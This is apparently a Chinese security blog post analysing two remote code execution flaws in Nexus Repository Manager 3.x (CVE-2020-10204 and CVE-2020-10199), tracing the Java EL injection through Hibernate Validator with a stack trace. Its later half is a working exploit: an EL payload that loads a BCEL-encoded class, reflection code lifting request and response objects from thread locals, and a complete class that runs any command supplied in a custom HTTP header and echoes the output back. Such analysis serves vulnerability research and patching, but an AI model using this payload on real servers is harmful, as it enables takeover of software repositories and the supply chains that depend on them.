漏洞背景
2020年04月02日, 360CERT监测发现 Sonatype Security Team 官方发布了一则关于 Nexus Repository Manager 3.x 的远程代码执行漏洞通告。在通过认证的情况下,攻击者可以通过JavaEL表达式注入造成远程代码执行。
Nexus Repository 是一个开源的仓库管理系统,在安装、配置、使用简单的基础上提供了更加丰富的功能。
漏洞定位
CVE-2020-10204
由于官方没有交代任何漏洞细节,于是需要我们自行diff 3.21.1版本和3.21.2版本,经过diff,发现利用点(这里只讨论rce,不讨论xss)。
在org.sonatype.nexus.common.template.EscapeHelper的stripJavaEl方法。
这样一看,就是一个CVE-2018-16621的bypass了,那么漏洞的构造也比较简单,依照着补丁来构造,就是利用\A来绕过,这里的A可以是任意字符。
CVE-2020-10199
Helper Bean检测增加stripJavaEl方法
在org.sonatype.nexus.validation.ConstraintViolationFactory$HelperValidator
CVE-2020-10204(需要管理员权限)
漏洞利用

漏洞分析
漏洞触发的主要原因是在org.sonatype.nexus.security.privilege.PrivilegesExistValidator 或 org.sonatype.nexus.security.role.RolesExistValidator 类中,会对不存在的 privilege 或 role 抛出错误,而在错误信息抛出的时候,会存在一个el表达式的渲染,会提取其中的el表达式并执行,从而造成el表达式注入。
来看一看对role的检测,这里会调用role的validator。
在org.sonatype.nexus.security.role.RolesExistValidator的isValid方法。
在这里对role进行检测。
如果当前Manager不存在该role,就会抛出错误,首先进行stripJavaEl的调用。

el表达式执行
将不存在的role add进missing这个List里面,然后一路return到org.hibernate.validator.internal.engine.constraintvalidation.ConstraintTree的validateConstraints方法,对validate进行验证。
跟进addConstraintFailure
messageTemplate就是missing里的内容,然后调用interpolate方法。
继续跟进,
this.validatorScopedContext.getMessageInterpolator()返回ResourceBundleMessageInterpolator对象,跟进interpolateMessage。
处理missing 的message。

跟入interpolateExpression,这里while循环处理tokenIterator。
当token获取到{100*100}时,跟入interpolate。
实例化InterpolationTerm。

然后实例化ElTermResolver。

最后返回执行结果。
调用栈比较复杂,取了部分。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49interpolate:79, ElTermResolver (org.hibernate.validator.internal.engine.messageinterpolation)
interpolate:64, InterpolationTerm (org.hibernate.validator.internal.engine.messageinterpolation)
interpolate:112, ResourceBundleMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolateExpression:451, AbstractMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolateMessage:347, AbstractMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolate:286, AbstractMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolate:313, AbstractValidationContext (org.hibernate.validator.internal.engine.validationcontext)
addConstraintFailure:230, AbstractValidationContext (org.hibernate.validator.internal.engine.validationcontext)
addConstraintFailure:38, ParameterExecutableValidationContext (org.hibernate.validator.internal.engine.validationcontext)
validateConstraints:79, ConstraintTree (org.hibernate.validator.internal.engine.constraintvalidation)
doValidateConstraint:130, MetaConstraint (org.hibernate.validator.internal.metadata.core)
validateConstraint:123, MetaConstraint (org.hibernate.validator.internal.metadata.core)
validateMetaConstraint:555, ValidatorImpl (org.hibernate.validator.internal.engine)
validateMetaConstraints:537, ValidatorImpl (org.hibernate.validator.internal.engine)
validateConstraintsForNonDefaultGroup:529, ValidatorImpl (org.hibernate.validator.internal.engine)
validateConstraintsForCurrentGroup:447, ValidatorImpl (org.hibernate.validator.internal.engine)
validateInContext:400, ValidatorImpl (org.hibernate.validator.internal.engine)
validateCascadedAnnotatedObjectForCurrentGroup:629, ValidatorImpl (org.hibernate.validator.internal.engine)
validateCascadedConstraints:590, ValidatorImpl (org.hibernate.validator.internal.engine)
validateParametersInContext:880, ValidatorImpl (org.hibernate.validator.internal.engine)
validateParameters:283, ValidatorImpl (org.hibernate.validator.internal.engine)
validateParameters:235, ValidatorImpl (org.hibernate.validator.internal.engine)
validateParameters:65, ValidationInterceptor (org.sonatype.nexus.validation.internal)
invoke:51, ValidationInterceptor (org.sonatype.nexus.validation.internal)
proceed:77, InterceptorStackCallback$InterceptedMethodInvocation (com.google.inject.internal)
proceed:49, AopAllianceMethodInvocationAdapter (org.apache.shiro.guice.aop)
invoke:68, AuthorizingAnnotationMethodInterceptor (org.apache.shiro.authz.aop)
invoke:36, AopAllianceMethodInterceptorAdapter (org.apache.shiro.guice.aop)
proceed:77, InterceptorStackCallback$InterceptedMethodInvocation (com.google.inject.internal)
proceed:49, AopAllianceMethodInvocationAdapter (org.apache.shiro.guice.aop)
invoke:68, AuthorizingAnnotationMethodInterceptor (org.apache.shiro.authz.aop)
invoke:36, AopAllianceMethodInterceptorAdapter (org.apache.shiro.guice.aop)
proceed:77, InterceptorStackCallback$InterceptedMethodInvocation (com.google.inject.internal)
intercept:55, InterceptorStackCallback (com.google.inject.internal)
update:-1, UserComponent$$EnhancerByGuice$$a4c055e (org.sonatype.nexus.coreui)
invoke:-1, GeneratedMethodAccessor615 (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeJavaMethod:142, DispatcherBase (com.softwarementors.extjs.djn.router.dispatcher)
invokeMethod:133, DispatcherBase (com.softwarementors.extjs.djn.router.dispatcher)
invokeMethod:82, ExtDirectDispatcher (org.sonatype.nexus.extdirect.internal)
dispatch:63, DispatcherBase (com.softwarementors.extjs.djn.router.dispatcher)
dispatchStandardMethod:73, StandardRequestProcessorBase (com.softwarementors.extjs.djn.router.processor.standard)
processIndividualRequest:502, JsonRequestProcessor (com.softwarementors.extjs.djn.router.processor.standard.json)
processIndividualRequestsInThisThread:150, JsonRequestProcessor (com.softwarementors.extjs.djn.router.processor.standard.json)
process:133, JsonRequestProcessor (com.softwarementors.extjs.djn.router.processor.standard.json)
processJsonRequest:83, RequestRouter (com.softwarementors.extjs.djn.router)
processRequest:632, DirectJNgineServlet (com.softwarementors.extjs.djn.servlet)
...
CVE-2020-10199
该漏洞的最终触发是通过给HelperBean的message进行el表达式注入,从而抛出错误
漏洞利用
普通用户触发。
漏洞分析
看到org.sonatype.nexus.repository.golang.rest.GolangGroupRepositoriesApiResource类,根据request调用createRepository。
跟入父类,也就是org.sonatype.nexus.repository.rest.api.AbstractGroupRepositoriesApiResource的createRepository方法。

接着跟入validateGroupMembers。

在org.sonatype.nexus.validation.ConstraintViolationFactory。
这里会实例化HelperBean,message即为el注入的内容。
之后会对HelperBean进行判断,调用isValid,调用buildConstraintViolationWithTemplate给messageTemplates进行赋值,最后执行el表达式方式跟CVE-2020-10204部分一致。
漏洞修复
参考漏洞定位部分。
回显
利用Thread获取当前线程的threadLocals变量,其中有很多都保存着response对象,比如我发现了以下几个
org.eclipse.jetty.server.HttpConnection
com.google.inject.servlet.GuiceFilter$Context
com.softwarementors.extjs.djn.servlet.ssm.WebContext
构造
强烈建议构造的时候用idea的Evaluate Expression (反射杀我
WebContext
获取Response1
2
3
4
5
6
7java.lang.reflect.Field response = valueObject.getClass().getDeclaredField("response");
response.setAccessible(true);
Object shiroServletResponse = response.get(valueObject);
Class<?> Wrapper = shiroServletResponse.getClass().getSuperclass().getSuperclass();
Object statusResponse = Wrapper.getMethod("getResponse").invoke(shiroServletResponse);
Object response1 = Wrapper.getMethod("getResponse").invoke(statusResponse);
java.io.PrintWriter writer = (java.io.PrintWriter) response1.getClass().getMethod("getWriter").invoke(response1);

获取request并设置请求命令参数1
2
3
4
5
6
7
8
9Object valueObject = Thread.currentThread().threadLocals.table[79].value;
java.lang.reflect.Field request = valueObject.getClass().getDeclaredField("request");
request.setAccessible(true);
Object shiroServletRequest = request.get(valueObject);
Class<?> Wrapper = shiroServletRequest.getClass().getSuperclass().getSuperclass();
Object statusResponse = Wrapper.getMethod("getRequest").invoke(shiroServletRequest);
Object request1 = Wrapper.getMethod("getRequest").invoke(statusResponse);
Object request1Real = Wrapper.getMethod("getRequest").invoke(request1);
String hu3sky_command = (String) request1Real.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(request1Real, new Object[]{"hu3sky_command"});
GuiceFilter$Context
和WebContext用法类似
1 | Object valueObject = Thread.currentThread().threadLocals.table[79].value; |

HttpConection
1 | Object valueObject = Thread.currentThread().threadLocals.table[205].value; |

生成bcelcode
1 | byte[] bytes = Files.readAllBytes(Paths.get("/Users/hu3sky/IdeaProjects/Ldap/target/classes/Echo_HttpConnection.class")); |
最终通过com.sun.org.apache.bcel.internal.util.ClassLoader来加载bcel编码过后的类
1 | ${''.getClass().forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$' + code).newInstance() |

最终1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41public class Echo_WebContext {
static {
try {
getResponse();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void getResponse() throws Exception {
Thread thread = Thread.currentThread();
java.lang.reflect.Field threadLocals = Thread.class.getDeclaredField("threadLocals");
threadLocals.setAccessible(true);
Object threadLocalMap = threadLocals.get(thread);
Class threadLocalMapClazz = Class.forName("java.lang.ThreadLocal$ThreadLocalMap");
java.lang.reflect.Field tableField = threadLocalMapClazz.getDeclaredField("table");
tableField.setAccessible(true);
Object[] objects = (Object[]) tableField.get(threadLocalMap);
Class entryClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry");
java.lang.reflect.Field entryValueField = entryClass.getDeclaredField("value");
entryValueField.setAccessible(true);
for (Object object : objects) {
if (object != null) {
Object valueObject = entryValueField.get(object);
if (valueObject != null) {
if (valueObject.getClass().getName().equals("com.softwarementors.extjs.djn.servlet.ssm.WebContext")) {
java.lang.reflect.Field response = valueObject.getClass().getDeclaredField("response");
response.setAccessible(true);
Object shiroServletResponse = response.get(valueObject);
Class<?> Wrapper = shiroServletResponse.getClass().getSuperclass().getSuperclass();
Object statusResponse = Wrapper.getMethod("getResponse").invoke(shiroServletResponse);
Object response1 = Wrapper.getMethod("getResponse").invoke(statusResponse);
java.io.PrintWriter writer = (java.io.PrintWriter) response1.getClass().getMethod("getWriter").invoke(response1);
writer.write("by hu3sky");
writer.close();
}
}
}
}
}
}
代码执行
完整代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61public class Echo_WebContext {
static {
try {
getResponse();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void getResponse() throws Exception {
Thread thread = Thread.currentThread();
java.lang.reflect.Field threadLocals = Thread.class.getDeclaredField("threadLocals");
threadLocals.setAccessible(true);
Object threadLocalMap = threadLocals.get(thread);
Class threadLocalMapClazz = Class.forName("java.lang.ThreadLocal$ThreadLocalMap");
java.lang.reflect.Field tableField = threadLocalMapClazz.getDeclaredField("table");
tableField.setAccessible(true);
Object[] objects = (Object[]) tableField.get(threadLocalMap);
Class entryClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry");
java.lang.reflect.Field entryValueField = entryClass.getDeclaredField("value");
entryValueField.setAccessible(true);
for (Object object : objects) {
if (object != null) {
Object valueObject = entryValueField.get(object);
if (valueObject != null) {
if (valueObject.getClass().getName().equals("com.softwarementors.extjs.djn.servlet.ssm.WebContext")) {
//获取response
java.lang.reflect.Field response = valueObject.getClass().getDeclaredField("response");
response.setAccessible(true);
Object shiroServletResponse = response.get(valueObject);
Class<?> Wrapper = shiroServletResponse.getClass().getSuperclass().getSuperclass();
Object statusResponse = Wrapper.getMethod("getResponse").invoke(shiroServletResponse);
Object response1 = Wrapper.getMethod("getResponse").invoke(statusResponse);
java.io.PrintWriter writer = (java.io.PrintWriter) response1.getClass().getMethod("getWriter").invoke(response1);
//获取request
java.lang.reflect.Field request = valueObject.getClass().getDeclaredField("request");
request.setAccessible(true);
Object shiroServletRequest = request.get(valueObject);
Class<?> Wrapper2 = shiroServletRequest.getClass().getSuperclass().getSuperclass();
Object statusResponse2 = Wrapper2.getMethod("getRequest").invoke(shiroServletRequest);
Object request1 = Wrapper2.getMethod("getRequest").invoke(statusResponse2);
Object request1Real = Wrapper2.getMethod("getRequest").invoke(request1);
String hu3sky_command = (String) request1Real.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(request1Real, new Object[]{"hu3sky_command"});
String sb = "";
java.io.BufferedInputStream in = new java.io.BufferedInputStream(Runtime.getRuntime().exec(hu3sky_command).getInputStream());
java.io.BufferedReader inBr = new java.io.BufferedReader(new java.io.InputStreamReader(in));
String lineStr;
while ((lineStr = inBr.readLine()) != null)
sb += lineStr + "\n";
writer.write(sb);
writer.flush();
inBr.close();
in.close();
}
}
}
}
}
}
